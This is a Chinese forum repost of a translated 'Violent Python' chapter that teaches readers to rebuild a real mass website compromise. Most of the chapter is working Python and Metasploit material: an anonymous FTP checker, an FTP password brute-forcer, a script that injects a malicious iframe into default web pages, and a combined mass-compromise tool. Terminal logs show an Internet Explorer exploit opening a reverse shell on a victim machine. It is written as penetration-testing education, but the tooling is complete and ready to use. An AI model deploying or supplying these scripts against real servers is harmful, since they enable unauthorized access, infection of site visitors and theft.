《Violent Python》第二章Penetration Testing with Python(

  • A+
所属分类:WooYun-Zone

crown丶prince (我用双手成就你的梦想) 《Violent Python》第二章Penetration Testing with Python( | 2015-10-03 15:39

连载介绍信息:http://zone.wooyun.org/content/23138
原作者:Chris Katsaropoulos
第一译者:@草帽小子-DJ
第二译者:crown丶prince

通过FTP连接WEB来渗透
在最近的一次巨大的损害中,被称为k985ytv的攻击者,使用匿名和盗用的FTP凭证,获得了22400个域名和536000被感染的页面。利用授权访问,攻击者注入Javascript代码,使好的首页重定向到乌克兰境内的恶意页面。一旦受感染的服务器被重定向到恶意的网站,恶意的主机将会在受害者电脑中安装假冒的防病毒软件,并窃取受害者的信用卡信息。K985ytv的攻击取得了巨大的成功。在下面的章节中,我们将用Python来建立这种攻击。

检查受感染服务器的FTP日志,我们看看到底发什么什么事。一个自动的脚本连接到目标主机以确认它是否包含一个名为index.htm的默认主页。接下来攻击者上传了一个新的index.htm页面,可能包含恶意的重定向脚本。受感染的服务器渗透利用任何访问它页面的脆弱客户机。

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /
    folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
    200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
    227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE
    index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR
    index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
    200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
    227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR
index.htm" 226 3018

为了更好的理解这种攻击的初始向量。我们简单的来谈一谈FTP的特点。文件传输协议FTP服务用户在一个基于TCP网络的主机之间传输文件。通常情况下,用户通过用户名和密码来验证FTP服务。然而,一些网站提供匿名认证的能力,在这种情况下,用户提供用户名为“anonymous”,用电子邮件来代替密码。

用Python构建匿名的FTP扫瞄器
就安全而言,网站提供匿名的FTP服务器访问功能似乎很愚蠢。然而,令人惊讶的是许多网站提供这类FTP的访问如升级软件,这使得更多的软件获取软件的合法更新。我们可以利用Python的ftplib模块来构建一个小脚本,用来确认服务器是否允许匿名登录。函数anonLogin()接受一个主机名反汇编一个布尔值来确认主机是否允许匿名登录。为了确认这个布尔值,这个函数尝试用匿名认证生成一个FTP连接,如果成功,则返回“True”,产生异常则返回“False”。

# coding=UTF-8

import ftplib

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]')
        print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')
        return False

host = '192.168.95.179'
anonLogin(host)

运行这个脚本,我们可以看到脆弱的目标可以匿名登陆。

attacker# python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Succeeded.


利用Ftplib暴力破解FTP用户认证

当匿名登录一路回车进入系统,攻击者也十分成功的利用偷来的证书获得合法FTP服务器的访问权限。FTP客户端程序,比如说FileZilla,经常将密码存储在配置文件中。安全专家发现,由于最近的恶意软件,FTP证书经常被偷取。此外,HD Moore甚至将get_filezilla_creds.rb的脚本包含到最近的Metasploit的发行版本中允许用户快速的扫描目标主机的FTP证书。想象一个我们想通过暴力破解的包含username/password组合的文本文件。对于这个脚本的目的,利用存贮在文本文件中的username/password组合。

administrator:password
admin:12345
root:secret
guest:guest
root:toor

现在我们能扩展前面建立的anonLogin()函数建立名为brutelogin()的函数。这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密码尝试登陆FTP服务器。如果成功,将返回用户名和密码的元组,如果失败有异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返回包含None的元组。

# coding=UTF-8

import ftplib

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print("[+] Trying: " + userName + "/" + passWord)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + "/" + passWord)
            ftp.quit()
            return (userName, passWord)
        except Exception as e:
            pass
    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)

host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

遍历用户名和密码组合,我们终于找到了用户名以及对应的密码。

attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest


在FTP服务器上寻找WEB页面

有了FTP访问权限,我们还要测试服务器是否还提供了WEB访问。为了测试这个,我们首先要列出FTP的服务目录并寻找默认的WEB页面。函数returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组。它通过发送命令NLST列出目录内容。这个函数检查每个文件返回默认WEB页面文件名并将任何发现的默认WEB页面文件名添加到名为retList的列表中。完成迭代这些文件之后,函数将返回这个列表。

# coding=UTF-8

import ftplib

def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page: ' + fileName)
            retList.append(fileName)
            return retList

host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)

看着这个脆弱的FTP服务器,我们可以看到它有三个WEB页面在基目录下。好极了,我们知道可以移动我们的攻击向量到我们的被感染的页面。

attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php


添加恶意注入脚本到WEB页面

现在我们已经找到了WEB页面文件,我们必须用一个恶意的重定向感染它。为了快速的生成一个恶意的服务器和页面在http://10.10.10.112:8080/exploit页面,我们将使用Metasploit框架。注意,我们选择ms10_002_aurora的Exploit,同样的Exploit被用在攻击Google的极光行动中。位与http://10.10.10.112:8080/exploit的页面将重定向到受害者,这将返回给我们一个反弹的Shell。

attacker# msfcli exploit/windows/browser/ms10_002_aurora
    LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
    PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >

任何脆弱的客户机连接到我们的服务页面http://10.10.10.112:8080/exploit都将会落入我们的陷阱中。如果成功,它将建立一个反向的TCP Shell并允许我们远程的在客户机上执行Windows命令。从这个命令行Shell我们能在受感染的受害者主机上以管理员权限执行命令。

msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora"
    Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
    10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

接下来,我们必须添加一个重定向从被感染的主机到我们的恶意的服务器。为此,我们可以从攻陷的服务器下载默认的WEB页面,注入一个iframe,然后上传恶意的页面到服务器上。看看这个injectPage()函数,它接受一个FTP连接,一个页面名和一个重定向的iframe的字符串作为输入,然后下载页面作为临时副本,接下来,添加重定向的iframe代码到临时文件中。最后,该函数上传这个被感染的页面到服务器中。

# coding=UTF-8

import ftplib

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src="http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)

运行我们的代码,我们可以看到它下载index.html页面然后注入我们的恶意代码到里面。

attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html


将攻击整合在一起

现在我们就整合所有的攻击到attack()函数中。attack()函数接收一个主机名,用户名,密码和定位地址为输入。这个函数首先利用用户凭证登陆FTP服务器,接下来我们寻找默认页面,下载每一个页面并且添加恶意的重定向代码,然后上传修改后的页面到FTP服务器中。
def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

添加一些选项参数,我们包装整合我们的脚本。你将注意到我们首先尝试匿名登录FTP服务器,如果失败,我们将通过暴力破解得到服务器的认证。虽然只有近百行代码,但这个攻击完全可以复制k985ytv的原始的攻击向量。

# coding=UTF-8

import ftplib
import optparse
import time

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]')
        print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.')
        return False

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: '+userName+'/'+passWord)
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
        print('\n[-] Could not brute force FTP credentials.')
        return (None, None)

def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page: ' + fileName)
        retList.append(fileName)
    return retList

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print('[+] Downloaded Page: ' + page)
    f.write(redirect)
    f.close()
    print('[+] Injected Malicious IFrame on: ' + page)
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page: ' + page)

def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

def main():
    parser = optparse.OptionParser('usage%prog -H <target host展开> -r <redirect page> [-f <userpass file>]')
    parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(', ')
    passwdFile = options.passwdFile
    redirect = options.redirect
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = '[email protected]'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwdFile != None:
            (username, password) = bruteLogin(tgtHost, passwdFile)
        if password != None:
            print'[+] Using Creds: ' + username + '/' + password + ' to attack'
            attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
    main()

运行我们的脚本攻击一个脆弱的FTP服务器,我们看到它尝试匿名登陆失败,然后暴力破解获得用户名和密码,然后下载和注入代码到每一个基目录里的文件。

attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe src="
    http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Injected Malicious IFrame on: testmysql.php

我们确保我们的攻击向量在运行,然后等待客户机连接到我们受感染的WEB服务器上。很快,10.10.10.107访问了服务器然后重定向到了我们的恶意服务器上。成功!我们通过被感染的FTP服务器得到了一个受害者主机的命令行Shell。

attacker# msfcli exploit/windows/browser/ms10_002_aurora
    LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
    PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client
    10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
    10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

虽然很多罪犯传播假的反病毒软件利用了k985ytv攻击作为许多的攻击向量之一。km985ytv成功的攻陷了11000台主机中的2220台。总的来说,假冒的杀毒软件盗取了超过43000000的用户的信用卡信息在2009年,并还在持续增长中。这一百多行的代码还不错。在下一节中,我们将创建一个攻击了200多个国家5百万台主机的攻击向量。

分享到: